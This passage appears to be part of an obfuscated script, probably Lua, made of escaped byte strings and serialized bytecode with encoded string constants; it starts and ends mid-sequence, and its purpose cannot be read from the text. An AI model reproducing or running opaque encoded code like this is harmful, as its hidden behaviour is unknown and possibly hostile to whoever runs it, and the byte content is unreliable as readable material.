6\0\0\0\84\73\90\94\95\0\203\6\0\0\0\70\84\86\124\64\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\15\0\0\0\125\69\69\109\95\65\43\125\76\50\124\90\70\89\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\7\0\0\0\81\69\84\112\79\80\0\203\8\0\0\0\112\78\84\109\82\69\127\0\1\10\0\0\0\0\146\23\237\0\166\0\64\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\131\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\7\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\5\0\0\0\1\133\128\0\0\0\6\0\0\0\0\51\2\38\0\3\0\0\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\3\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\21\0\17\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\11\0\0\0\83\111\97\90\69\84\105\120\90\118\0\203\5\0\0\0\97\89\71\122\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\7\0\0\0\102\69\91\122\72\65\0\203\7\0\0\0\114\77\86\107\72\93\0\1\7\0\0\0\0\146\23\237\0\223\0\153\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\237\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\5\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\0\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\13\0\2\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\5\0\0\0\121\79\86\123\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\203\8\0\0\0\83\111\97\76\67\90\124\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\101\67\86\115\71\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\6\0\0\0\53\66\78\107\78\0\1\7\0\0\0\0\146\23\237\0\243\0\242\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\246\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\3\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\2\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\18\0\12\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\6\0\0\0\70\84\86\124\64\0\203\8\0\0\0\83\111\97\76\66\79\110\0\203\5\0\0\0\114\65\90\122\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\7\0\0\0\90\80\86\109\76\103\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\1\10\0\0\0\0\146\23\237\0\140\0\112\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\215\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\9\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\3\0\0\0\1\133\128\0\0\0\6\0\0\0\0\51\2\38\0\3\0\0\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\1\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\21\0\13\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\4\0\0\0\94\69\78\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\6\0\0\0\86\72\66\113\64\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\7\0\0\0\116\83\68\122\89\65\0\203\5\0\0\0\97\89\71\122\0\1\7\0\0\0\0\146\23\237\0\188\0\90\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\48\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\2\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\0\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\9\0\12\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\12\0\0\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\5\0\0\0\114\65\90\122\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\114\98\94\107\88\13\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\34\0\0\0\125\84\67\111\88\15\36\59\79\115\124\75\91\66\117\76\59\92\115\74\62\95\82\99\17\113\84\123\88\78\126\90\76\0\203\7\0\0\0\96\78\71\126\72\94\0\203\7\0\0\0\81\69\84\112\79\80\0\203\6\0\0\0\53\66\78\107\78\0\1\11\0\0\0\0\146\23\237\0\152\0\119\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\8\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\1\0\0\0\1\5\0\0\0\0\4\0\0\0\1\4\183\0\1\0\2\0\0\0\1\69\64\0\0\0\0\168\1\38\0\1\0\1\0\0\0\7\1\0\3\75\128\192\0\0\5\0\0\0\0\88\0\183\0\3\0\8\0\0\0\1\193\192\0\0\0\6\0\0\0\0\235\2\38\0\1\0\3\0\0\0\0\0\0\0\92\0\128\1\0\7\0\0\0\1\7\38\0\0\0\0\0\0\0\2\0\0\0\28\128\0\0\0\0\56\35\38\0\0\0\4\0\0\0\4\0\0\0\28\64\128\0\0\8\0\0\0\0\225\5\38\0\0\0\8\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\6\0\0\0\112\82\69\112\89\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\6\0\0\0\101\67\86\115\71\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\65\79\80\120\71\80\111\0\203\7\0\0\0\102\73\77\122\68\83\0\203\7\0\0\0\90\80\86\109\76\103\0\1\7\0\0\0\0\146\23\237\0\23\0\143\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\76\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\1\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\5\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\21\0\7\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\6\0\0\0\70\80\82\122\79\0\203\7\0\0\0\103\65\64\120\78\65\0\203\8\0\0\0\112\78\84\109\82\69\127\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\5\0\0\0\114\105\89\107\0\203\4\0\0\0\121\69\89\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\6\0\0\0\101\67\86\115\71\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\1\10\0\0\0\0\146\23\237\0\34\0\165\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\96\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\4\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\7\0\0\0\1\133\128\0\0\0\6\0\0\0\0\33\8\38\0\0\0\3\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\0\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\14\0\22\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\101\67\86\115\71\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\4\0\0\0\94\69\78\0\203\7\0\0\0\103\65\64\108\78\65\0\203\7\0\0\0\112\78\84\112\79\80\0\203\7\0\0\0\96\78\71\126\72\94\0\1\7\0\0\0\0\146\23\237\0\213\0\118\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\55\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\3\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\4\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\12\0\23\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\12\0\0\0\203\20\0\0\0\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123\0\203\10\0\0\0\118\79\69\112\94\65\98\122\90\0\203\5\0\0\0\114\65\90\122\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\5\0\0\0\114\83\66\125\0\203\5\0\0\0\114\65\90\122\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\34\0\0\0\125\84\67\111\88\15\36\59\79\115\124\75\91\66\117\76\59\92\115\74\62\95\82\99\17\106\20\40\101\88\125\94\77\0\1\11\0\0\0\0\146\23\237\0\129\0\25\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\158\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\4\0\0\0\1\5\0\0\0\0\4\0\0\0\1\4\183\0\1\0\2\0\0\0\1\69\64\0\0\0\0\168\1\38\0\1\0\1\0\0\0\3\1\0\3\75\128\192\0\0\5\0\0\0\0\88\0\183\0\3\0\11\0\0\0\1\193\192\0\0\0\6\0\0\0\0\235\2\38\0\1\0\3\0\0\0\0\0\0\0\92\0\128\1\0\7\0\0\0\1\7\38\0\0\0\0\0\0\0\2\0\0\0\28\128\0\0\0\0\56\35\38\0\0\0\18\0\0\0\3\0\0\0\28\64\128\0\0\8\0\0\0\0\225\5\38\0\23\0\10\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\10\0\0\0\203\7\0\0\0\102\84\69\118\69\82\0\203\8\0\0\0\114\69\67\120\78\91\125\0\117\0\0\0\0\0\0\0\0\203\5\0\0\0\114\105\89\107\0\203\6\0\0\0\86\72\66\113\64\0\203\7\0\0\0\96\78\71\126\72\94\0\203\8\0\0\0\96\82\68\111\78\80\111\0\203\4\0\0\0\102\89\89\0\203\5\0\0\0\121\79\86\123\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\1\7\0\0\0\0\146\23\237\0\239\0\29\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\178\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\1\0\0\0\1\5\0\0\0\0\4\0\0\0\0\175\23\38\0\0\0\10\0\0\0\2\0\0\0\28\128\128\0\0\5\0\0\0\0\31\1\38\0\0\0\6\1\0\0\2\1\0\4\9\128\192\128\0\6\0\0\0\0\225\5\38\0\22\0\5\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\4\0\0\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\97\65\85\115\78\0\203\7\0\0\0\96\78\71\126\72\94\0\1\4\0\0\0\0\146\23\237\0\234\0\172\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\73\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\225\5\38\0\23\0\9\0\0\0\0\0\0\0\30\0\128\0\0\4\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\4\0\0\0\203\6\0\0\0\101\65\94\109\88\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\7\0\0\0\103\65\64\108\78\65\0\203\7\0\0\0\97\89\71\122\68\83\0\1\4\0\0\0\0\146\23\237\0\13\0\170\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\232\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\225\5\38\0\14\0\21\0\0\0\0\0\0\0\30\0\128\0\0\4\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\6\0\0\0\67\65\69\120\88\0\203\7\0\0\0\102\84\69\118\69\82\0\203\5\0\0\0\84\82\80\108\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\7\0\0\0\90\80\86\109\76\103\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\5\0\0\0\93\69\86\123\0\203\5\0\0\0\115\65\84\122\0\203\6\0\0\0\112\82\69\112\89\0\203\7\0\0\0\102\69\91\122\72\65\0\203\24\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\23\45\23\37\8\37\20\40\27\4\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\5\0\0\0\114\65\90\122\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\5\0\0\0\97\89\71\122\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\7\0\0\0\116\83\68\122\89\65\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\1\11\0\0\0\0\146\23\237\0\1\0\52\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\88\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\13\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\12\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\19\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\3\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\7\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\8\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\4\1\0\0\11\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\8\0\16\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\24\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\22\37\26\39\10\44\17\32\27\7\0\203\5\0\0\0\114\105\89\107\0\203\5\0\0\0\93\69\86\123\0\203\4\0\0\0\102\89\89\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\7\0\0\0\81\69\84\112\79\80\0\203\7\0\0\0\103\65\64\120\78\65\0\203\6\0\0\0\53\66\78\107\78\0\203\5\0\0\0\114\83\66\125\0\203\7\0\0\0\103\65\64\108\78\65\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\5\0\0\0\115\65\84\122\0\203\6\0\0\0\112\82\69\112\89\0\203\5\0\0\0\114\65\90\122\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\1\11\0\0\0\0\146\23\237\0\95\0\221\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\129\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\18\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\0\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\12\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\6\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\3\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\16\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\14\1\0\0\1\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\7\0\9\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\5\0\0\0\115\65\84\122\0\203\23\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\18\42\23\34\6\44\16\39\21\0\203\5\0\0\0\121\79\86\123\0\203\7\0\0\0\114\77\86\107\72\93\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\7\0\0\0\96\78\71\126\72\94\0\203\7\0\0\0\90\80\86\109\76\103\0\203\5\0\0\0\114\105\89\107\0\203\5\0\0\0\118\72\86\109\0\203\4\0\0\0\102\89\89\0\203\4\0\0\0\123\69\64\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\6\0\0\0\67\65\69\120\88\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\5\0\0\0\93\69\86\123\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\5\0\0\0\114\65\90\122\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\86\72\66\113\64\0\1\11\0\0\0\0\146\23\237\0\253\0\240\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\65\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\16\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\13\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\4\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\11\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\14\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\0\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\15\1\0\0\1\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\1\0\18\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\4\0\0\0\121\69\89\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\5\0\0\0\114\65\90\122\0\203\23\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\23\46\18\44\13\45\18\33\28\0\203\7\0\0\0\102\73\77\122\68\83\0\203\5\0\0\0\91\65\90\122\0\203\8\0\0\0\112\78\84\109\82\69\127\0\203\5\0\0\0\93\69\86\123\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\5\0\0\0\115\65\84\122\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\6\0\0\0\97\65\85\115\78\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\1\11\0\0\0\0\146\23\237\0\55\0\95\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\205\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\3\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\13\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\9\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\17\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\8\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\0\1\0\0\4\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\1\0\3\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\12\0\0\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\34\0\0\0\125\84\67\111\88\15\36\59\79\115\124\75\91\66\117\76\59\92\115\74\62\95\82\99\17\76\123\68\79\80\121\49\111\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\114\115\94\101\78\65\0\203\7\0\0\0\103\65\64\120\78\65\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\5\0\0\0\114\65\90\122\0\203\13\0\0\0\102\69\67\114\78\65\106\96\94\112\99\90\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\93\84\67\111\108\80\127\0\1\11\0\0\0\0\146\23\237\0\121\0\205\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\219\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\2\0\0\0\1\5\0\0\0\0\4\0\0\0\1\4\183\0\1\0\8\0\0\0\1\69\64\0\0\0\0\168\1\38\0\1\0\1\0\0\0\11\1\0\3\75\128\192\0\0\5\0\0\0\0\88\0\183\0\3\0\1\0\0\0\1\193\192\0\0\0\6\0\0\0\0\235\2\38\0\1\0\3\0\0\0\0\0\0\0\92\0\128\1\0\7\0\0\0\1\7\38\0\0\0\0\0\0\0\2\0\0\0\28\128\0\0\0\0\56\35\38\0\0\0\12\0\0\0\7\0\0\0\28\64\128\0\0\8\0\0\0\0\225\5\38\0\8\0\23\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\24\0\0\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\8\0\0\0\81\69\68\107\89\90\114\0\203\6\0\0\0\67\65\69\120\88\0\203\7\0\0\0\116\83\68\122\89\65\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\7\0\0\0\116\83\68\122\89\65\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\114\115\67\109\66\91\108\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\5\0\0\0\93\69\86\123\0\117\0\0\0\0\0\0\240\63\203\8\0\0\0\114\69\67\120\78\91\125\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\13\0\0\0\65\82\86\113\88\69\106\102\90\124\108\70\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\96\78\71\126\72\94\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\5\0\0\0\114\65\90\122\0\203\5\0\0\0\115\65\84\122\0\203\6\0\0\0\53\66\78\107\78\0\1\32\0\0\0\0\146\23\237\0\160\0\198\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\234\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\12\0\0\0\1\5\0\0\0\0\4\0\0\0\0\175\23\38\0\0\0\16\0\0\0\2\0\0\0\28\128\128\0\0\5\0\0\0\0\118\37\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\6\0\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\15\1\0\0\11\1\0\4\9\192\65\131\0\7\0\0\0\1\4\183\0\0\0\12\0\0\0\1\5\0\0\0\0\1\5\38\0\0\0\5\0\0\0\2\0\0\0\28\128\128\0\0\1\6\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\1\6\38\0\0\0\0\0\0\0\22\1\0\3\6\0\66\0\0\0\168\1\38\0\0\0\0\0\0\0\1\1\0\3\11\64\66\0\0\8\0\0\0\0\228\8\38\0\0\0\2\0\0\0\